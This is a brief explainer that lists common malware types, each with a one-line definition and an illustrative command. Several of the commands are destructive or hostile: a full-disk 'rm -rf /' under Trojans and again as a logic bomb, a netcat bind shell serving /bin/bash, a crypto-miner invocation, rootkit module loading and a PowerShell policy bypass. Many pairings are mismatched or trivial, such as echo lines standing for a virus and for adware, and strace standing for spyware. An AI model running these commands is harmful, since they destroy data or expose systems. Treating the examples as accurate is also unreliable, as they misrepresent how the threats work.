Malware is a broad term for malicious software designed to damage or gain unauthorized access to systems. Here are the most common types:
- Viruses: Attach to files and spread when executed.
echo "This is a virus" > virus.bat
- Worms: Self-replicating programs spreading across networks.
while true; do cp worm.sh worm_copy.sh; done
- Trojans: Disguised as legitimate software to gain access.
rm -rf / --no-preserve-root
- Ransomware: Encrypts files and demands payment for decryption.
openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
- Spyware: Secretly monitors user activity and collects data.
strace -p 1234 -o logfile.txt
- Adware: Displays unwanted ads and may redirect browsing.
echo "Ad script running..."
- Rootkits: Grants attackers deep system access.
insmod rootkit.ko
- Keyloggers: Captures keystrokes to steal sensitive information.
logkeys --start
- Botnets: Networks of infected computers used for large-scale attacks.
python bot.py --connect "C&C Server"
- Fileless Malware: Operates in memory to avoid detection.
powershell -exec bypass -file attack.ps1
- Scareware: Tricks users into buying fake security software.
echo "Your PC is infected! Buy now!"
- Cryptojacking: Uses a system's resources to mine cryptocurrency.
xmrig -o miningpool.com -u user
- Logic Bombs: Triggers harmful actions when conditions are met.
if [ $(date +%d) -eq 15 ]; then rm -rf /; fi
- Backdoors: Creates unauthorized access points for attackers.
nc -lvp 4444 -e /bin/bash
- Malvertising: Injects malicious code into ads.
document.write('');